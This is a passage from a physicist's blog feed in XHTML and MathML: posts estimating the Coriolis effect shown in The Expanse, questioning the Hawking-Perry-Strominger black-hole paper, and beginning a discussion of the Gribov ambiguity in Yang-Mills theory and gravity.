class='mathscript'>&#x1D49C;&#x0212C;&#x1D49E;&#x1D49F;&#x02130;&#x02131;&#x1D4A2;&#x0210B;&#x02110;&#x1D4A5;&#x1D4A6;&#x02112;&#x02133;&#x1D4A9;&#x1D4AA;&#x1D4AB;&#x1D4AC;&#x0211B;&#x1D4AE;&#x1D4AF;&#x1D4B0;&#x1D4B1;&#x1D4B2;&#x1D4B3;&#x1D4B4;&#x1D4B5;</mi></mtd></mtr></mtable></mrow></mrow><annotation encoding='application/x-tex'>
  161. \begin{split}
  162. \backslash\mathtt{mathcal}\{\}:&amp;\,\mathcal{ABCDEFGHIJKLMNOPQRSTUVWXYZ}\\
  163. \backslash\mathtt{mathscr}\{\}:&amp;\,\mathscr{ABCDEFGHIJKLMNOPQRSTUVWXYZ}
  164. \end{split}
  165. </annotation></semantics></math></div>
  166.  
  167. <hr/>
  168.  
  169. <div id="MMLf1" class="footnote"><p><sup>1</sup> In an ideal world, <abbr title="Operating System">OS</abbr> vendors would bundle the STIX Two fonts with their next release (as Apple previously bundled the STIX fonts with MacOSX &#x2265;10.7) and motivated users would download and <a href="http://stixfonts.org/install.html">install</a> them in the meantime.</p></div>
  170.  
  171. <div id="MMLf2" class="footnote"><p><sup>2</sup> N.B.: We&#8217;re not browser-sniffing (anymore). We&#8217;re just checking for <acronym>MathML</acronym> support comparable to <a href="https://trac.webkit.org/changeset/203640">Webkit version 203640</a>. If Google (for instance) decided to <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=6606">re-enable <acronym>MathML</acronym> support in Chrome</a>, that would work too.</p></div>
  172.  
  173.      </div>
  174.    </content>
  175.  </entry>
  176.  <entry>
  177.    <title type="html">Coriolis</title>
  178.    <link rel="alternate" type="application/xhtml+xml" href="https://golem.ph.utexas.edu/~distler/blog/archives/002890.html" />
  179.    <updated>2016-06-17T23:10:56Z</updated>
  180.    <published>2016-06-14T16:40:08-06:00</published>
  181.    <id>tag:golem.ph.utexas.edu,2016:%2F~distler%2Fblog%2F1.2890</id>
  182.    <summary type="text">The Coriolis Effect on Syfy.</summary>
  183.    <author>
  184.      <name>distler</name>
  185.      <uri>https://golem.ph.utexas.edu/~distler/blog/</uri>
  186.      <email>[email protected]</email>
  187.    </author>
  188.    <category term="Life" />
  189.    <content type="xhtml" xml:base="https://golem.ph.utexas.edu/~distler/blog/archives/002890.html">
  190.      <div xmlns="http://www.w3.org/1999/xhtml">
  191. <div><a href="http://golem.ph.utexas.edu/~distler/blog/mathml.html"><img class="mathlogo" src="https://golem.ph.utexas.edu/~distler/blog/images/MathML.png" alt="MathML-enabled post (click for more details)." title="MathML-enabled post (click for details)." /></a></div>
  192.  
  193. <p>I really like the science fiction TV series <a href="http://www.syfy.com/theexpanse">The Expanse</a>. In addition to a good plot and a convincing vision of human society two centuries hence, it depicts, as Phil Plait <a href="http://www.slate.com/blogs/bad_astronomy/2015/12/14/the_expanse_syfy_s_next_big_thing.html">observes</a>, a lot of good science in a matter-of-fact, almost off-hand fashion. But one scene (really, just a few dialogue-free seconds in a longer scene) has been bothering me. In it, Miller, the hard-boiled detective living on <a href="https://en.wikipedia.org/wiki/Ceres_%28dwarf_planet%29">Ceres</a>, pours himself a drink. And we see &#8212; as the whiskey slowly pours from the bottle into the glass &#8212; that the artificial gravity at the lower levels (where the poor people live) is significantly weaker than near the surface (where the rich live) <em>and</em> that there&#8217;s a significant Coriolis effect. Unfortunately, the effect depicted is 3 orders-of-magnitude too big.</p>
  194.  
  195. <div><a href="http://golem.ph.utexas.edu/~distler/blog/mathml.html"><img class="mathlogo" src="https://golem.ph.utexas.edu/~distler/blog/images/MathML.png" alt="MathML-enabled post (click for more details)." title="MathML-enabled post (click for details)." /></a></div>
  196.  
  197. <div id="CoriolisI1" style="width:480pt; max-width: 90%; position:relative; margin:auto"><img style="width:480pt; max-width: 100%;" src="https://golem.ph.utexas.edu/~distler/blog/images/coriolis.jpg" alt="Pouring a drink on Ceres. Significant Coriolis deflection is apparent."/></div>
  198.  
  199. <p>To explain, six million residents inhabit the interior of the asteroid, which has been spun up to provide an artificial gravity. Ceres has a radius, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>R</mi> <mi>C</mi></msub><mo>=</mo><mn>4.73</mn><mo>&#x000D7;</mo><msup><mn>10</mn> <mn>5</mn></msup></mrow><annotation encoding='application/x-tex'>R_C = 4.73\times 10^5</annotation></semantics></math> m and a surface gravity <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>g</mi> <mi>C</mi></msub><mo>=</mo><mn>.27</mn><mspace width="thinmathspace"/><mtext>m</mtext><mo stretchy="false">/</mo><msup><mtext>s</mtext> <mn>2</mn></msup></mrow><annotation encoding='application/x-tex'>g_C=.27\,\text{m}/\text{s}^2</annotation></semantics></math>. The rotational period is supposed to be 40 minutes (<math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x003C9;</mi><mo>&#x0223C;</mo><mn>2.6</mn><mo>&#x000D7;</mo><msup><mn>10</mn> <mrow><mo lspace="verythinmathspace" rspace="0em">&#x02212;</mo><mn>3</mn></mrow></msup><mspace width="thinmathspace"/><mo stretchy="false">/</mo><mtext>s</mtext></mrow><annotation encoding='application/x-tex'>\omega\sim 2.6\times 10^{&#x2d;3}\, /\text{s}</annotation></semantics></math>). Near the surface, this yields <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msup><mi>&#x003C9;</mi> <mn>2</mn></msup><msub><mi>R</mi> <mi>C</mi></msub><mo stretchy="false">(</mo><mn>1</mn><mo>&#x02212;</mo><msup><mi>&#x003F5;</mi> <mn>2</mn></msup><mo stretchy="false">)</mo><mo>&#x02261;</mo><msup><mi>&#x003C9;</mi> <mn>2</mn></msup><msub><mi>R</mi> <mi>C</mi></msub><mo>&#x02212;</mo><msub><mi>g</mi> <mi>C</mi></msub><mo>&#x0223C;</mo><mn>0.3</mn></mrow><annotation encoding='application/x-tex'>\omega^2 R_C(1&#x2d;\epsilon^2)\equiv \omega^2 R_C &#x2d;g_C \sim 0.3</annotation></semantics></math> g. On the innermost level, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>R</mi><mo>=</mo><mstyle displaystyle="false"><mfrac><mn>1</mn><mn>3</mn></mfrac></mstyle><msub><mi>R</mi> <mi>C</mi></msub></mrow><annotation encoding='application/x-tex'>R=\tfrac{1}{3} R_C</annotation></semantics></math>, and the effective artificial gravity is only 0.1 g.</p>
  200.  
  201. <div style="width:480pt; max-width: 90%; position:relative; margin:auto"><img style="width:480pt; max-width: 100%;" src="https://golem.ph.utexas.edu/~distler/blog/images/ceres.jpg" alt="Ceres Station, dug into the interior of the asteroid."/></div>
  202.  
  203. <p>So how big is the Coriolis effect in this scenario?</p>
  204.  
  205. <p>The equations<sup><a href="#CoriolisF1">1</a></sup> to be solved are</p>
  206.  
  207. <div class="numberedEq" id="e2890:FeMA"><span>(1)</span><math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><mrow><mtable displaystyle="true" columnalign="right left right left right left right left right left" columnspacing="0em"><mtr><mtd><mfrac><mrow><msup><mi>d</mi> <mn>2</mn></msup><mi>x</mi></mrow><mrow><mi>d</mi><msup><mi>t</mi> <mn>2</mn></msup></mrow></mfrac></mtd> <mtd><mo>=</mo><msup><mi>&#x003C9;</mi> <mn>2</mn></msup><mo stretchy="false">(</mo><mn>1</mn><mo>&#x02212;</mo><msup><mi>&#x003F5;</mi> <mn>2</mn></msup><mo stretchy="false">)</mo><mi>x</mi><mo>&#x02212;</mo><mn>2</mn><mi>&#x003C9;</mi><mfrac><mrow><mi>d</mi><mi>y</mi></mrow><mrow><mi>d</mi><mi>t</mi></mrow></mfrac></mtd></mtr> <mtr><mtd><mfrac><mrow><msup><mi>d</mi> <mn>2</mn></msup><mi>y</mi></mrow><mrow><mi>d</mi><msup><mi>t</mi> <mn>2</mn></msup></mrow></mfrac></mtd> <mtd><mo>=</mo><msup><mi>&#x003C9;</mi> <mn>2</mn></msup><mo stretchy="false">(</mo><mn>1</mn><mo>&#x02212;</mo><msup><mi>&#x003F5;</mi> <mn>2</mn></msup><mo stretchy="false">)</mo><mo stretchy="false">(</mo><mi>y</mi><mo>&#x02212;</mo><mi>R</mi><mo stretchy="false">)</mo><mo>+</mo><mn>2</mn><mi>&#x003C9;</mi><mfrac><mrow><mi>d</mi><mi>x</mi></mrow><mrow><mi>d</mi><mi>t</mi></mrow></mfrac></mtd></mtr></mtable></mrow></mrow><annotation encoding='application/x-tex'>\begin{split}
  208. \frac{d^2 x}{d t^2}&amp;= \omega^2(1&#x2d;\epsilon^2) x &#x2d; 2 \omega \frac{d y}{d t}\\
  209. \frac{d^2 y}{d t^2}&amp;= \omega^2(1&#x2d;\epsilon^2) (y&#x2d;R) + 2 \omega \frac{d x}{d t}
  210. \end{split}
  211. </annotation></semantics></math></div>
  212.  
  213. <p>with initial conditions <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>x</mi><mo stretchy="false">(</mo><mi>t</mi><mo stretchy="false">)</mo><mo>=</mo><mover><mi>x</mi><mo>&#x002D9;</mo></mover><mo stretchy="false">(</mo><mi>t</mi><mo stretchy="false">)</mo><mo>=</mo><mi>y</mi><mo stretchy="false">(</mo><mi>t</mi><mo stretchy="false">)</mo><mo>=</mo><mover><mi>y</mi><mo>&#x002D9;</mo></mover><mo stretchy="false">(</mo><mi>t</mi><mo stretchy="false">)</mo><mo>=</mo><mn>0</mn></mrow><annotation encoding='application/x-tex'>x(t)=\dot{x}(t)=y(t)=\dot{y}(t)=0</annotation></semantics></math>. The exact solution solution is elementary, but for <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x003C9;</mi><mi>t</mi><mo>&#x0226A;</mo><mn>1</mn></mrow><annotation encoding='application/x-tex'>\omega t\ll 1</annotation></semantics></math>, <em>i.e.</em> for times much shorter than the rotational period, we can approximate</p>
  214.  
  215. <div class="numberedEq" id="e2890:approx"><span>(2)</span><math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><mrow><mtable displaystyle="true" columnalign="right left right left right left right left right left" columnspacing="0em"><mtr><mtd><mi>x</mi><mo stretchy="false">(</mo><mi>t</mi><mo stretchy="false">)</mo></mtd> <mtd><mo>=</mo><mfrac><mn>1</mn><mn>3</mn></mfrac><mo stretchy="false">(</mo><mn>1</mn><mo>&#x02212;</mo><msup><mi>&#x003F5;</mi> <mn>2</mn></msup><mo stretchy="false">)</mo><mi>R</mi><mo stretchy="false">(</mo><mi>&#x003C9;</mi><mi>t</mi><msup><mo stretchy="false">)</mo> <mn>3</mn></msup><mo>+</mo><mi>O</mi><mo maxsize="1.2em" minsize="1.2em">(</mo><mo stretchy="false">(</mo><mi>&#x003C9;</mi><mi>t</mi><msup><mo stretchy="false">)</mo> <mn>5</mn></msup><mo maxsize="1.2em" minsize="1.2em">)</mo><mo>,</mo></mtd></mtr> <mtr><mtd><mi>y</mi><mo stretchy="false">(</mo><mi>t</mi><mo stretchy="false">)</mo></mtd> <mtd><mo>=</mo><mo lspace="verythinmathspace" rspace="0em">&#x02212;</mo><mstyle displaystyle="false"><mfrac><mn>1</mn><mn>2</mn></mfrac></mstyle><mo stretchy="false">(</mo><mn>1</mn><mo>&#x02212;</mo><msup><mi>&#x003F5;</mi> <mn>2</mn></msup><mo stretchy="false">)</mo><mi>R</mi><mo stretchy="false">(</mo><mi>&#x003C9;</mi><mi>t</mi><msup><mo stretchy="false">)</mo> <mn>2</mn></msup><mo>+</mo><mi>O</mi><mo maxsize="1.2em" minsize="1.2em">(</mo><mo stretchy="false">(</mo><mi>&#x003C9;</mi><mi>t</mi><msup><mo stretchy="false">)</mo> <mn>4</mn></msup><mo maxsize="1.2em" minsize="1.2em">)</mo></mtd></mtr></mtable></mrow></mrow><annotation encoding='application/x-tex'>\begin{split}
  216.  x(t)&amp;= \frac{1}{3} (1&#x2d;\epsilon^2) R (\omega t)^3 +O\bigl((\omega t)^5\bigr),\\
  217.  y(t)&amp;= &#x2d; \tfrac{1}{2} (1&#x2d;\epsilon^2)R(\omega t)^2+O\bigl((\omega t)^4\bigr)
  218. \end{split}
  219. </annotation></semantics></math></div>
  220.  
  221. <p>From (<a href="#e2890:approx">2</a>), if the whiskey falls a distance <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>h</mi><mo>&#x0226A;</mo><mi>R</mi></mrow><annotation encoding='application/x-tex'>h\ll R</annotation></semantics></math>, it undergoes a lateral displacement</p>
  222.  
  223. <div class="numberedEq" id="e2890:final"><span>(3)</span><math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><mi>&#x00394;</mi><mi>x</mi><mo>=</mo><mstyle displaystyle="false"><mfrac><mn>2</mn><mn>3</mn></mfrac></mstyle><mi>h</mi><mspace width="thinmathspace"/><msup><mrow><mo>(</mo><mfrac><mrow><mn>2</mn><mi>h</mi></mrow><mrow><mo stretchy="false">(</mo><mn>1</mn><mo>&#x02212;</mo><msup><mi>&#x003F5;</mi> <mn>2</mn></msup><mo stretchy="false">)</mo><mi>R</mi></mrow></mfrac><mo>)</mo></mrow> <mrow><mn>1</mn><mo stretchy="false">/</mo><mn>2</mn></mrow></msup></mrow><annotation encoding='application/x-tex'>\Delta x = \tfrac{2}{3} h\, {\left(\frac{2h}{(1&#x2d;\epsilon^2)R}\right)}^{1/2}
  224. </annotation></semantics></math></div>
  225.  
  226. <p>For <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>h</mi><mo>=</mo><mn>16</mn></mrow><annotation encoding='application/x-tex'>h=16</annotation></semantics></math> cm and <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>R</mi><mo>=</mo><mstyle displaystyle="false"><mfrac><mn>1</mn><mn>3</mn></mfrac></mstyle><msub><mi>R</mi> <mi>C</mi></msub></mrow><annotation encoding='application/x-tex'>R=\tfrac{1}{3}R_C</annotation></semantics></math>, this is <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mfrac><mrow><mi>&#x00394;</mi><mi>x</mi></mrow><mi>h</mi></mfrac><mo>=</mo><msup><mn>10</mn> <mrow><mo lspace="verythinmathspace" rspace="0em">&#x02212;</mo><mn>3</mn></mrow></msup></mrow><annotation encoding='application/x-tex'>\frac{\Delta x}{h}= 10^{&#x2d;3}</annotation></semantics></math> which is 3 orders of magnitude smaller than depicted in the <a href="#CoriolisI1">screenshot</a> above<sup><a href="#CoriolisF2">2</a></sup>.</p>
  227.  
  228. <p>So, while I love the idea of the Coriolis effect appearing &#8212; however tangentially &#8212; in a TV drama, this really wasn&#8217;t the place for it.</p>
  229.  
  230. <hr/>
  231.  
  232. <div id="CoriolisF1" class="footnote"><p><sup>1</sup> Here, I&#8217;m approximating Ceres to be a sphere of uniform density. That&#8217;s not really correct, but since the contribution of Ceres&#8217; intrinsic gravity to (<a href="#e2890:final">3</a>) is only a 5% effect, the <em>corrections</em> from non-uniform density are negligible.</p></div>
  233.  
  234. <div id="CoriolisF2" class="footnote"><p><sup>2</sup> We could complain about other things: like that the slope should be monotonic (very much unlike what&#8217;s depicted). But that seems a minor quibble, compared to the effect being a thousand times too large.</p></div>
  235.  
  236.      </div>
  237.    </content>
  238.  </entry>
  239.  <entry>
  240.    <title type="html">BMiSsed</title>
  241.    <link rel="alternate" type="application/xhtml+xml" href="https://golem.ph.utexas.edu/~distler/blog/archives/002863.html" />
  242.    <updated>2016-01-11T16:09:36Z</updated>
  243.    <published>2016-01-10T11:39:02-06:00</published>
  244.    <id>tag:golem.ph.utexas.edu,2016:%2F~distler%2Fblog%2F1.2863</id>
  245.    <summary type="text">I'm confused about Hawking-Perry-Strominger.</summary>
  246.    <author>
  247.      <name>distler</name>
  248.      <uri>https://golem.ph.utexas.edu/~distler/blog/</uri>
  249.      <email>[email protected]</email>
  250.    </author>
  251.    <category term="Physics" />
  252.    <content type="xhtml" xml:base="https://golem.ph.utexas.edu/~distler/blog/archives/002863.html">
  253.      <div xmlns="http://www.w3.org/1999/xhtml">
  254. <div><a href="http://golem.ph.utexas.edu/~distler/blog/mathml.html"><img class="mathlogo" src="https://golem.ph.utexas.edu/~distler/blog/images/MathML.png" alt="MathML-enabled post (click for more details)." title="MathML-enabled post (click for details)." /></a></div>
  255.  
  256. <p>There&#8217;s a general mantra that we all repeat to ourselves: gauge transformations are <em>not symmetries</em>; they are <em>redundancies</em> of our description. There is an exception, of course: gauge transformations that don&#8217;t go to the identity at infinity <em>aren&#8217;t</em> redundancies; they are actual symmetries.</p>
  257.  
  258. <p>Strominger, rather beautifully <a href="http://arxiv.org/abs/1312.2229">showed</a> that BMS supertranslations (or, more precisely, a certain diagonal subgroup of <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msup><mtext>BMS</mtext> <mo>+</mo></msup></mrow><annotation encoding='application/x-tex'>\text{BMS}^+</annotation></semantics></math> (which act as supertranslations on <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msup><mi>&#x02110;</mi> <mo>+</mo></msup></mrow><annotation encoding='application/x-tex'>\mathcal{I}^+</annotation></semantics></math>) and <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msup><mtext>BMS</mtext> <mo>&#x02212;</mo></msup></mrow><annotation encoding='application/x-tex'>\text{BMS}^&#x2d;</annotation></semantics></math> (which act as supertranslations on <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msup><mi>&#x02110;</mi> <mo>&#x02212;</mo></msup></mrow><annotation encoding='application/x-tex'>\mathcal{I}^&#x2d;</annotation></semantics></math>) are symmetries of the gravitational S-matrix. The corresponding conservation laws are equivalent to Weinberg&#8217;s <a href="http://inspirehep.net/record/48759">Soft-Graviton Theorem</a>. Similarly, in electromagnetism, the <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>U</mi><mo stretchy="false">(</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding='application/x-tex'>U(1)</annotation></semantics></math> gauge transformations which don&#8217;t go to the identity on  <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msup><mi>&#x02110;</mi> <mo>&#x000B1;</mo></msup></mrow><annotation encoding='application/x-tex'>\mathcal{I}^\pm</annotation></semantics></math> give rise to the Soft-Photon Theorem.</p>
  259.  
  260. <p>A while back, there was considerable brouhaha about Hawking&#8217;s claim that BMS symmetry had something to do with resolving the blackhole information paradox. Well, finally, a paper from <a href="http://arxiv.org/abs/1601.00921">Hawking, Perry and Strominger</a> has arrived.</p>
  261.  
  262. <p>Cue <a href="http://backreaction.blogspot.com/2016/01/more-information-emerges-about-new.html">further</a> <a href="http://blogs.scientificamerican.com/dark-star-diaries/stephen-hawking-s-new-black-hole-paper-translated-an-interview-with-co-author-andrew-strominger/">brouhaha</a>&#8230;</p>
  263.  
  264. <div><a href="http://golem.ph.utexas.edu/~distler/blog/mathml.html"><img class="mathlogo" src="https://golem.ph.utexas.edu/~distler/blog/images/MathML.png" alt="MathML-enabled post (click for more details)." title="MathML-enabled post (click for details)." /></a></div>
  265.  
  266. <p>In a nutshell, it seems they want to propose that gauge transformations which don&#8217;t go to the identity at the blackhole <em>horizon</em> are also <em>not redundancies</em>, but rather <em>symmetries</em> of the theory. And the corresponding conservation laws (they mostly talk about the electromagnetic case &#8212; hence soft-photons) provide previously unforeseen hair to the blackhole.</p>
  267.  
  268. <p>Lots of details (or, at least, the promise of followup work containing said details) follow, but the crux of the matter is the following: two blackholes which differ by a gauge transformation which is not the identity on the horizon are <em>different</em> (degenerate) blackholes. Moreover, some diagonal subgroup of <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msup><mtext>BMS</mtext> <mi>H</mi></msup></mrow><annotation encoding='application/x-tex'>\text{BMS}^H</annotation></semantics></math> and <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msup><mtext>BMS</mtext> <mo>+</mo></msup></mrow><annotation encoding='application/x-tex'>\text{BMS}^+</annotation></semantics></math> is supposed to be a symmetry of the Hawking process (hence allowing the &#8220;hair&#8221; to escape, as the blackhole evaporates).</p>
  269.  
  270. <p>But I&#8217;m stuck at the starting point: why are we changing the rules and declaring that gauge transformations at the horizon are symmetries, rather than redundancies? </p>
  271.  
  272. <p>As I. I. Rabi said (on a different subject), &#8220;Who ordered that?&#8221;</p>
  273.  
  274. <p>The second, more subtle, point is how are we supposed to &#8220;find&#8221; the desired diagonal subgroup of <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msup><mtext>BMS</mtext> <mi>H</mi></msup><mo>&#x000D7;</mo><msup><mtext>BMS</mtext> <mo>+</mo></msup></mrow><annotation encoding='application/x-tex'>\text{BMS}^H\times \text{BMS}^+</annotation></semantics></math>? In the case that Strominger studied, a crucial fact was that <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msup><mi>&#x02110;</mi> <mo>&#x02212;</mo></msup></mrow><annotation encoding='application/x-tex'>\mathcal{I}^&#x2d;</annotation></semantics></math> and <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msup><mi>&#x02110;</mi> <mo>+</mo></msup></mrow><annotation encoding='application/x-tex'>\mathcal{I}^+</annotation></semantics></math> intersect on the <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msup><mi>S</mi> <mn>2</mn></msup></mrow><annotation encoding='application/x-tex'>S^2</annotation></semantics></math> at spatial infinity. Studying the action of <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msup><mtext>BMS</mtext> <mo>&#x000B1;</mo></msup></mrow><annotation encoding='application/x-tex'>\text{BMS}^\pm</annotation></semantics></math> near spatial infinity picked out the desired subgroup of <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msup><mtext>BMS</mtext> <mo>&#x02212;</mo></msup><mo>&#x000D7;</mo><msup><mtext>BMS</mtext> <mo>+</mo></msup></mrow><annotation encoding='application/x-tex'>\text{BMS}^&#x2d;\times \text{BMS}^+</annotation></semantics></math>. But, while the horizon of an <em>eternal</em> blackhole does intersect <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msup><mi>&#x02110;</mi> <mo>+</mo></msup></mrow><annotation encoding='application/x-tex'>\mathcal{I}^+</annotation></semantics></math> (a fact HPS use in section 3), the horizon of an evaporating one does not. So I can&#8217;t imagine any natural way to relate supertranslations (or <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>U</mi><mo stretchy="false">(</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding='application/x-tex'>U(1)</annotation></semantics></math> gauge rotations) on the horizon of an evaporating blackhole to supertranslations (gauge rotations) on <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msup><mi>&#x02110;</mi> <mo>+</mo></msup></mrow><annotation encoding='application/x-tex'>\mathcal{I}^+</annotation></semantics></math>. Section 6 of their paper is supposed to address this question, but I honestly can&#8217;t make heads or tails of it.</p>
  275.  
  276. <p>In the end, my puzzlement comes down to this: the whole setup is that of local quantum field theory, the context in which the blackhole information paradox originally arose. The &#8220;solution&#8221; seems to be to change the rules of local quantum field theory (in a seemingly ad-hoc way, at the horizon). But, if we&#8217;ve learned anything &#8212; from String Theory, <abbr title="Anti de Sitter">AdS</abbr>/<abbr title="Conformal Field Theory">CFT</abbr>, &#8230; &#8212;- it&#8217;s not that local quantum field theory needs to be modified in some way; it&#8217;s that local quantum field theory, in the presence of blackholes, breaks down at something of order the Page Time and this breakdown is <em>not</em> some local effect.</p>
  277.  
  278.      </div>
  279.    </content>
  280.  </entry>
  281.  <entry>
  282.    <title type="html">Asymptotic Safety and the Gribov Ambiguity</title>
  283.    <link rel="alternate" type="application/xhtml+xml" href="https://golem.ph.utexas.edu/~distler/blog/archives/002833.html" />
  284.    <updated>2015-06-29T17:47:00Z</updated>
  285.    <published>2015-06-19T03:11:11-06:00</published>
  286.    <id>tag:golem.ph.utexas.edu,2015:%2F~distler%2Fblog%2F1.2833</id>
  287.    <summary type="text">The Gribov ambiguity means there are no global gauge slices for gravity, either.</summary>
  288.    <author>
  289.      <name>distler</name>
  290.      <uri>https://golem.ph.utexas.edu/~distler/blog/</uri>
  291.      <email>[email protected]</email>
  292.    </author>
  293.    <category term="LQG" />
  294.    <content type="xhtml" xml:base="https://golem.ph.utexas.edu/~distler/blog/archives/002833.html">
  295.      <div xmlns="http://www.w3.org/1999/xhtml">
  296. <div><a href="http://golem.ph.utexas.edu/~distler/blog/mathml.html"><img class="mathlogo" src="https://golem.ph.utexas.edu/~distler/blog/images/MathML.png" alt="MathML-enabled post (click for more details)." title="MathML-enabled post (click for details)." /></a></div>
  297.  
  298. <p>Recently, an <a href="https://golem.ph.utexas.edu/~distler/blog/archives/001585.html">old post of mine</a> about the Asymptotic Safety program for quantizing gravity received a <a href="https://golem.ph.utexas.edu/~distler/blog/archives/001585.html#c049181">flurry of new comments</a>. Inadvertently, one of the pseudonymous commenters pointed out <em>yet another</em> problem with the program, which deserves a post all its own.</p>
  299.  
  300. <p>Before launching in, I should say that</p>
  301.  
  302. <ol>
  303. <li>Everything I am about to say was known to <a href="http://projecteuclid.org/euclid.cmp/1103904019">Iz Singer in 1978</a>. Though, as with the corresponding result for nonabelian gauge theory, the import seems to be largely unappreciated by physicists working on the subject.</li>
  304. <li>I would like to thank Valentin Zakharevich, a very bright young grad student in our Math Department for a discussion on this subject, which clarified things greatly for me.</li>
  305. </ol>
  306.  
  307. <div><a href="http://golem.ph.utexas.edu/~distler/blog/mathml.html"><img class="mathlogo" src="https://golem.ph.utexas.edu/~distler/blog/images/MathML.png" alt="MathML-enabled post (click for more details)." title="MathML-enabled post (click for details)." /></a></div>
  308.  
  309. <h3>Yang-Mills Theory</h3>
  310.  
  311. <p>Let&#8217;s start by reviewing <a href="http://projecteuclid.org/euclid.cmp/1103904019">Singer&#8217;s explication</a> of the Gribov ambiguity.</p>
  312.  
  313. <p>Say we want to do the path integral for Yang-Mills Theory, with compact semi-simple gauge group <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>G</mi></mrow><annotation encoding='application/x-tex'>G</annotation></semantics></math>. For definiteness, we&#8217;ll talk about the Euclidean path integral, and take <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>M</mi><mo>=</mo><msup><mi>S</mi> <mn>4</mn></msup></mrow><annotation encoding='application/x-tex'>M= S^4</annotation></semantics></math>. Fix a principal <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>G</mi></mrow><annotation encoding='application/x-tex'>G</annotation></semantics></math>-bundle, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>P</mi><mo>&#x02192;</mo><mi>M</mi></mrow><annotation encoding='application/x-tex'>P\to M</annotation></semantics></math>. We would like to integrate over all connections, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>A</mi></mrow><annotation encoding='application/x-tex'>A</annotation></semantics></math>, on <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>P</mi></mrow><annotation encoding='application/x-tex'>P</annotation></semantics></math>, modulo gauge transformations, with a weight given by <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msup><mi>e</mi> <mrow><mo lspace="verythinmathspace" rspace="0em">&#x02212;</mo><msub><mi>S</mi> <mtext>YM</mtext></msub><mo stretchy="false">(</mo><mi>A</mi><mo stretchy="false">)</mo></mrow></msup></mrow><annotation encoding='application/x-tex'>e^{&#x2d;S_{\text{YM}}(A)}</annotation></semantics></math>. Let <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D49C;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{A}</annotation></semantics></math> be the space of all connections on <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>P</mi></mrow><annotation encoding='application/x-tex'>P</annotation></semantics></math>, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D4A2;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{G}</annotation></semantics></math> the (infinite dimensional) group of gauge transformations (automorphisms of <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>P</mi></mrow><annotation encoding='application/x-tex'>P</annotation></semantics></math> which project to the identity on <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>M</mi></mrow><annotation encoding='application/x-tex'>M</annotation></semantics></math>), and <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x0212C;</mi><mo>=</mo><mi>&#x1D49C;</mi><mo stretchy="false">/</mo><mi>&#x1D4A2;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{B}=\mathcal{A}/\mathcal{G}</annotation></semantics></math>, the gauge equivalence classes of connections.</p>
  314.  
